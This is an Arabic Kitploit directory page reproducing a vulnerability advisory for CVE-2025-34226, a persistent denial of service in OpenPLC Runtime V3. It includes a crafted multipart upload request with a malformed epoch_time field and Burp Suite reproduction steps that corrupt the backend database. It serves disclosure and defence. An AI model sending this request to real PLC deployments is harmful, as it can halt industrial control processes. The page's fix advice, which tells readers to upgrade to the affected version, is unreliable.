Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/eyodav/cve-2025-34226
تحليل الثغرات الأمنيةالاستغلالأمن SCADA/ICSاستغلال تطبيقات الويبسوء التكوينأمن قواعد البيانات
GitHubeyodav/cve-2025-34226

CVE-2025-34226

يعاني OpenPLC Runtime من ثغرة أمنية من نوع رفض الخدمة المستمر (DoS) في المسار /upload-program-action.

عرض المستودع
5منذ 11 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-34226: DoS مستمر في OpenPLC Runtime

نظرة عامة على الثغرة

الحقلالقيمة
معرف CVECVE-2025-34226
يتأثرOpenPLC Runtime V3
تم الإصلاح في(الالتزام) 095ee09623dd229b64ad3a1db38a901a3772f6fc
الخطورةعالية
CVSS 4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (عالية)
CWECWE-664 تحكم غير ملائم في مصدر طوال عمره، CWE-20 التحقق غير الملائم من المدخلات

ملخص تنفيذي

يعاني OpenPLC Runtime من ثغرة رفض خدمة مستمرة (DoS) في نقطة النهاية /upload-program-action.
بتعديل الوسيط epoch_time أثناء تحميل البرنامج، يمكن لمستخدم مصادَق بصلاحيات منخفضة إفساد قاعدة البيانات الخلفية.
هذا الإفساد يعطل في البداية الصفحات الحرجة، ويمنع في النهاية بدء تشغيل runtime بالكامل، مما يؤدي فعليًا إلى تعطيل التطبيق حتى إعادة تثبيته.


التأثير الأمني

  • رفض الخدمة المستمر – بمجرد تشغيله، لا يمكن للنظام التعافي دون إعادة تثبيت كاملة.
  • إفساد قاعدة البيانات – الاستغلال يُدخل قيمًا غير صالحة إلى قاعدة بيانات SQLite الخاصة بـ OpenPLC، مما يكسر حالة runtime.
  • تعطيل العمليات – في سياقات ICS/OT، قد يتسبب هذا في توقف العمليات المُدارة بـ PLC.
  • تجاوز عمليات التحقق – الاستغلال يتجاوز التحقق من الإدخال، مما يظهر عدم تعقيم المعلمات الحرجة.

التفاصيل الفنية

الإصدارات المتضررة

  • الإصدارات الضعيفة: OpenPLC Runtime ≤ v3 (ليس أحدث إصدار)
  • الإصدار المُصحّح: تمت معالجته بالالتزام 095ee09623dd229b64ad3a1db38a901a3772f6fc

ناقل الهجوم

نقطة النهاية /upload-program-action تقبل حقل epoch_time الذي يُكتب مباشرةً في قاعدة البيانات دون تحقق.
عند تعيين هذا الحقل إلى قيمة مصمَّنة أو غير منطقية (مثل 1758627838 أو بيانات مشوهة)، يقوم OpenPLC بتخزين حالة غير متسقة.
عند إعادة تحميل أو إعادة تشغيل runtime، يستعلم التطبيق الصف الفاسد ويواجه كائن NoneType → تعطل قاتل (TypeError: 'NoneType' object is not subscriptable).


إثبات المفهوم

إثبات المفهوم 1: طلب تحميل خبيث (Burp Suite Repeater)

root@kitploit:~
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]

------BOUNDARY
Content-Disposition: form-data; name="prog_name"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain

PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"

"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--

خطوات إعادة الإنتاج

  1. افتح burpsuite
  2. افتح متصفح burpsuite
  3. انتقل إلى واجهة openplc
  4. قم بتوثيق الدخول بحساب ذي صلاحيات منخفضة.
  5. قم بتحميل برنامج عبر /programs
  6. اختر اسمًا عشوائيًا.
  7. قم بتشغيل بروكسي burpsuite
  8. أرسل الطلب إلى Repeater
  9. عدّل قسم epoch_time وغيِّره بحرف عشوائي مثل "L" بدلاً من epoch_time الأصلي
  10. أرسل الطلب المُصمَّن الجديد.
  11. لاحظ /programs وسترى أنه لم يعد يعمل
  12. بعد ذلك، في بعض الأحيان عندما يُعاد تشغيل OpenPLC، يفشل runtime في الإقلاع ويصبح من المستحيل إعادة تشغيل OpenPLC بعد ذلك.

الإجراءات الفورية

  1. قم بالترقية فورًا إلى OpenPLC V3

المراجع

  • ملاحظات التصحيح/الإصدار: [رابط إلى أحدث إصدار رسمي]
  • تاريخ الثغرة: [رابط تاريخ الثغرة]

الإسناد

اكتشفه: Eyodav

تنزيل الأداة